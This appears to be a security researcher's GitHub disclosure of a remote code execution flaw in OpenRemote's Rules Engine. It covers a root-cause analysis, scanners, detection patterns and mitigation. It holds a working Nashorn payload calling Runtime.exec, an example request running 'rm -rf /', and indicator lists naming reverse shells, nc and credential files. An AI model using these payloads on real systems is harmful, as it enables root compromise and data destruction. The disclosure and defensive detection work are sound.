keraattin/cve-2026-39842Critical remote code execution vulnerability in OpenRemote's Rules Engine allows authenticated users with `write:rules` role to execute arbitrary code on the server with root privileges.
Critical remote code execution vulnerability in OpenRemote's Rules Engine allows authenticated users with write:rules role to execute arbitrary code on the server with root privileges.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HOpenRemote is an open-source IoT platform for building smart buildings, cities, and industries. It provides device management, automation rules, analytics, and integrations for the Internet of Things ecosystem.
Internet / Network
|
┌────────┴────────┐
v v
┌──────────────┐ ┌──────────────┐
| Web Browser | | Mobile App |
└──────────────┘ └──────────────┘
| |
└────────┬────────┘
v
┌──────────────────┐
| OpenRemote API |
| (REST/WebSocket) |
└────────┬─────────┘
v
┌──────────────────┐
| Manager Service |
| (Port 8080) |
└────────┬─────────┘
|
┌────────────────────┼────────────────────┐
| | |
v v v
┌──────────┐ ┌──────────┐ ┌──────────────┐
| Rules | | Asset | | Notification |
| Engine | | Storage | | Service |
└──────────┘ └──────────┘ └──────────────┘
| |
v v
┌──────────────────────────────────┐
| PostgreSQL / Timescale Database |
└──────────────────────────────────┘
The vulnerability stems from two critical flaws in OpenRemote's Rules Engine:
Flaw 1: Unsandboxed Nashorn JavaScript Engine
The Java Nashorn JavaScript engine is used to evaluate user-supplied rule expressions without any sandboxing, security manager, or ClassFilter restrictions. This allows attackers to access Java classes directly from JavaScript context.
Flaw 2: Disabled Groovy Sandbox
The Groovy script engine had a GroovyDenyAllFilter registered to prevent code execution, but this filter registration was commented out in the codebase. Only Groovy enforcement existed at the API level (RulesResourceImpl.java:262), but JavaScript had no restrictions.
RulesResource.java (lines 153-158)
|
> POST request handler for rule creation
|
v
RulesetDeployment.java (line 368)
|
> scriptEngine.eval(ruleExpression)
|
v
Nashorn Engine
|
> No ClassFilter / SecurityManager
> Java.type() accessible
> Runtime.exec() available
The vulnerability affects authenticated users with the write:rules role. The authorization check at RulesResourceImpl.java:262 only blocks Groovy for non-superusers:
if (!isUserSuperuser && isGroovy) {
throw new UnauthorizedException("Groovy rules not allowed");
}
This means:
Additionally, multi-tenant isolation can be bypassed via reflection on the assetStorageService to access other realms' data.
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks) |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root |
└─────────────────────────────────────────────────────┘
Step 1: Obtain write:rules Credentials
An authenticated user needs the write:rules role. This can be:
Step 2: Craft JavaScript Payload
Create a rule expression using JavaScript that accesses Java Runtime:
var result = "";
try {
var runtime = Java.type("java.lang.Runtime").getRuntime();
var process = runtime.exec("id");
var reader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream())
);
var line;
while ((line = reader.readLine()) != null) {
result += line;
}
} catch (e) {
result = e.toString();
}
result;
Step 3: Send to Vulnerable Endpoint
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json
{
"name": "malicious_rule",
"enabled": true,
"trigger": "timer",
"actions": [
{
"type": "local_action",
"target": "asset_id",
"action": "perform_action",
"value": "// Payload here"
}
],
"ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}
Step 4: Rule Execution
The platform evaluates the rule immediately or at the scheduled trigger time, executing the payload with root privileges.
Step 5: Post-Exploitation
With RCE as root, attackers can:
Authenticated attackers execute arbitrary code on the OpenRemote server with root privileges. This is the highest severity impact, allowing complete system compromise.
Result of successful exploitation:
uid=0(root) gid=0(root) groups=0(root)
Complete read and write access to all files on the system:
Access to environment variables containing:
In multi-tenant deployments, attackers can bypass tenant isolation via reflection:
The detection mechanisms identify OpenRemote instances and check vulnerability status through multiple methods:
The detect_openremote.py scanner performs automated detection and vulnerability assessment.
python3 -m pip install requests
python3 detect_openremote.py [OPTIONS]
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose
Expected output:
[*] Scanning http://10.0.0.1:8080
[+] OpenRemote detected!
Version: 1.21.0
Vulnerable: YES (CVE-2026-39842)
CVSS Score: 10.0 Critical
Status: Requires upgrade to 1.22.0+
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15
File targets.txt:
http://192.168.1.100:8080
http://192.168.1.101:8080
https://openremote.example.com:8443
http://10.20.30.40:8080
Expected output in results.csv:
Target,Status,Version,Vulnerable,CVSS
http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0
http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0
https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,-
http://10.20.30.40:8080,Not OpenRemote,-,-,-
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose --no-banner
Expected verbose output:
[*] Target: http://10.0.0.1:8080
[*] Probing for OpenRemote...
[*] HTTP GET /
Response Code: 200
Server: Apache
Content-Type: text/html
[*] Checking /api/info
Response Code: 200
Body: {"version":"1.21.0","name":"OpenRemote"}
[+] OpenRemote 1.21.0 identified
[+] Version 1.21.0 is vulnerable to CVE-2026-39842
[!] CVSS: 10.0 Critical
[!] RCE Confirmed: YES
The openremote-detect.nse script provides Nmap integration for vulnerability scanning.
cp openremote-detect.nse /usr/share/nmap/scripts/
nmap --script-updatedb
nmap -p 8080 --script openremote-detect <target>
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true <target>
nmap -p 8080 --script openremote-detect 192.168.1.0/24
Expected output:
Nmap scan report for 192.168.1.100
Host is up (0.0042s latency).
8080/tcp open http-proxy
| openremote-detect:
| Status: OpenRemote Detected
| Version: 1.21.0
| Vulnerable: YES
| CVE: CVE-2026-39842
|_ CVSS: 10.0 Critical
Nmap scan report for 192.168.1.101
Host is up (0.0031s latency).
8080/tcp open http-proxy
| openremote-detect:
| Status: OpenRemote Detected
| Version: 1.22.1
| Vulnerable: NO
| Fixed Version: 1.22.0
|_ Status: Patched
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100
Expected verbose output:
| openremote-detect:
| Host: 192.168.1.100:8080
| Detection Method: HTTP Banner Analysis
| Probe Endpoint: /api/info
| Response Code: 200
| Version: 1.21.0
| Version Detected: YES
| Vulnerable: YES
| CVE-2026-39842: AFFECTED
| CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| CVSS Score: 10.0
| Fix Available: YES
| Fixed Version: 1.22.0
| Authentication Required: YES
| Endpoint Vulnerable: POST /api/{realm}/rules/realm
|_ Endpoint Vulnerable: POST /api/{realm}/rules/asset
Perform manual checks using curl to verify vulnerability:
1. Identify OpenRemote Version
curl -s http://target:8080/api/info | jq .
Expected response:
{
"version": "1.21.0",
"name": "OpenRemote",
"instanceId": "instance-123"
}
2. Check for Rules Endpoint
curl -s -H "Authorization: Bearer TOKEN" \
http://target:8080/api/master/rules/realm | head -20
If returns 401 or 403, endpoint exists but needs authentication.
3. Authenticate and Test Expression Injection
curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{
"name": "test_rule",
"trigger": "timer",
"ruleExpression": "1 + 1"
}' \
http://target:8080/api/master/rules/realm
If successful creation and version <= 1.21.0, the instance is vulnerable.
4. Test JavaScript Execution (Proof of Concept)
curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{
"name": "poc_rule",
"trigger": "timer",
"ruleExpression": "var x = 5; x * 2;"
}' \
http://target:8080/api/master/rules/realm
5. Identify Realm Name
curl -s -H "Authorization: Bearer TOKEN" \
http://target:8080/api/admin/realms | jq .[].name
Common realm names: master, default, main
Search application logs for these patterns:
Rule Creation with JavaScript Payload
Pattern: POST /api/.*/rules/.* with JavaScript containing Java.type
Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"
Command Execution Attempts in Rules
Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions
Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"
Unexpected Process Execution from Java
Pattern: Child processes spawned by OpenRemote Java process
Command: ps aux | grep -i openremote
Look for: bash, sh, curl, wget, nc spawned by java process
File System Access Anomalies
Pattern: Unexpected file reads from application directory
Files to monitor:
- /opt/openremote/config/
- /opt/openremote/.env
- /root/.ssh/
- /etc/passwd
Database Access Patterns
Pattern: SELECT queries accessing other realms' data
Anomaly: Queries from rules engine accessing cross-tenant data
Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)
Outbound Connections from OpenRemote Process
netstat -tlnp | grep -i java
Look for: Unexpected ESTABLISHED connections
Example: java process connecting to external C2 servers
Reverse Shell Callbacks
Pattern: Outbound TCP/UDP connections from port 8080 server
Destinations: Suspicious IPs, non-standard ports
Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'
Lateral Movement Attempts
Pattern: Connections to internal resources (databases, APIs)
From: OpenRemote process
To: Database servers, internal APIs, SSH services
Suspicious Files in OpenRemote Directory
/opt/openremote/.backdoor
/opt/openremote/shell.sh
/opt/openremote/config/stolen_data.txt
/var/tmp/openremote_exploit
/tmp/.java*
Modified OpenRemote Binaries
find /opt/openremote -type f -newer /opt/openremote/VERSION.txt
find /opt/openremote -name "*.jar" -exec sha256sum {} \; | compare with known hashes
Cron or Persistence Jobs
cat /etc/cron.d/* | grep openremote
cat /var/spool/cron/crontabs/* | grep -i java
cat ~/.bashrc ~/.bash_profile | grep -v '^#'
Suspicious Environment Variables
cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'
Memory-Resident Payloads
strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'
1. Upgrade to Fixed Version
The complete fix is only available in OpenRemote 1.22.0+, which completely removes the JavaScript rules engine.
# Backup current installation
cp -r /opt/openremote /opt/openremote.backup.1.21.0
mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql
# Download and install 1.22.0+
wget https://releases.openremote.io/openremote-1.22.0.tar.gz
tar -xzf openremote-1.22.0.tar.gz -C /opt/
systemctl restart openremote
# Verify version
curl -s http://localhost:8080/api/info | jq .version
2. Restrict API Access
If immediate upgrade is not possible, restrict access to vulnerable endpoints at the firewall/reverse proxy level:
# Nginx example
location ~ ^/api/.*/rules/ {
return 403;
}
3. Audit Active Rules
List all existing rules and review for suspicious JavaScript:
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/master/rules/realm | \
jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'
Delete any rules containing Java interop:
curl -X DELETE \
-H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/master/rules/realm/{RULE_ID}
4. Review Access Logs
Check for exploitation attempts in the past 30 days:
grep -r "rules/realm\|rules/asset" /opt/openremote/logs/ | \
grep -i "java\|runtime\|exec\|type"
5. Credential Rotation
Rotate all credentials potentially exposed:
- OpenRemote admin passwords
- Database passwords
- API keys and tokens
- SSH keys if accessible
- Environment variable secrets
1. Network Segmentation
Restrict OpenRemote API access to authorized networks only:
- Block external internet access to port 8080
- Implement VPN/SSO requirement for API access
- Use API gateway with authentication/authorization
2. Role Audits
Review and minimize users with write:rules role:
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/admin/users | \
jq '.[] | select(.roles | contains("write:rules"))'
Remove write:rules role from all non-essential users.
3. Enable Request Logging
Configure detailed logging for all API requests:
# application.properties
logging.level.org.openremote.manager.rules=DEBUG
logging.level.org.openremote.manager.rules.RulesResource=TRACE
4. Database Audit
Search database for malicious rules created after specific date:
SELECT id, name, ruleset_def, created_on
FROM RULE
WHERE created_on > '2026-04-01'
AND (
ruleset_def LIKE '%Java.type%'
OR ruleset_def LIKE '%Runtime%'
OR ruleset_def LIKE '%exec%'
);
5. Threat Hunting
Run full security scans on the OpenRemote server:
# ClamAV malware scan
clamscan -r --remove /opt/openremote/
# Check for backdoors
chkrootkit
rkhunter --check --skip-warnings
# File integrity verification
aide --check
1. Complete System Hardening
2. Access Control Implementation
3. Application Security
4. Monitoring and Alerting
Deploy SIEM detection rules:
Alert on:
- Any POST to /api/*/rules/* endpoints with JavaScript content
- Java.type or Runtime in request body
- Multiple rule creation attempts in short time window
- Rule modification by non-admin users
- Unusual process spawning from OpenRemote JVM
5. Incident Response Plan
Create and test incident response procedures:
6. Ongoing Monitoring
Implement continuous security monitoring:
# Daily vulnerability scan
nmap -p 8080 --script openremote-detect \
$(cat /etc/openremote/monitored_hosts.txt) \
--script-args 'onerror=continue' \
-oX /var/log/openremote-scan.xml
# Automated alerts for vulnerable versions
if version <= 1.21.0; then
send_alert "CVE-2026-39842: Unpatched OpenRemote detected"
fi
Kerem Oruc
Security Researcher, Vulnerability Disclosure
For questions, reports, or additional information regarding this vulnerability, please contact the author through responsible disclosure channels.
Last Updated: 2026-04-16 Version: 1.0 Status: Public
| Aspect | Details |
|---|
| CVE ID | CVE-2026-39842 |
| GHSA ID | GHSA-7mqr-33rv-p3mp |
| Vulnerability Type | Code Injection / Expression Language Injection |
| CVSS Score | 10.0 (Critical) |
| CWE | CWE-94, CWE-917 |
| Product | OpenRemote |
| Affected Versions | <= 1.21.0 |
| Fixed Version | >= 1.22.0 |
| Authentication Required | Yes |
| Privilege Level Needed | write:rules role (non-superuser) |
| Vulnerable Endpoints | POST /api/{realm}/rules/realm, POST /api/{realm}/rules/asset |
| RCE Execution Level | root |
| Exploitability | High |
| Complexity | Low |
| Discovery Date | 2026 |
| Version | Status | Notes |
|---|
| <= 1.15.0 | Vulnerable | Original vulnerability present |
| 1.16.0 | Vulnerable | No fixes applied |
| 1.17.0 | Vulnerable | No fixes applied |
| 1.18.0 | Vulnerable | No fixes applied |
| 1.19.0 | Vulnerable | No fixes applied |
| 1.20.0 | Vulnerable | No fixes applied |
| 1.21.0 | Vulnerable | Last affected version |
| 1.22.0+ | FIXED | JavaScript rules engine completely removed |
| Option | Short | Long | Type | Description |
|---|
| Target | -t | --target | string | Single target URL (e.g., http://10.0.0.1:8080) |
| List | -l | --list | file | File containing list of targets (one per line) |
| Output | -o | --output | file | Write results to CSV file |
| Verbose | -v | --verbose | flag | Enable verbose output with detailed responses |
| Timeout | --timeout | int | HTTP request timeout in seconds (default: 10) | |
| Banner | --no-banner | flag | Skip banner printing |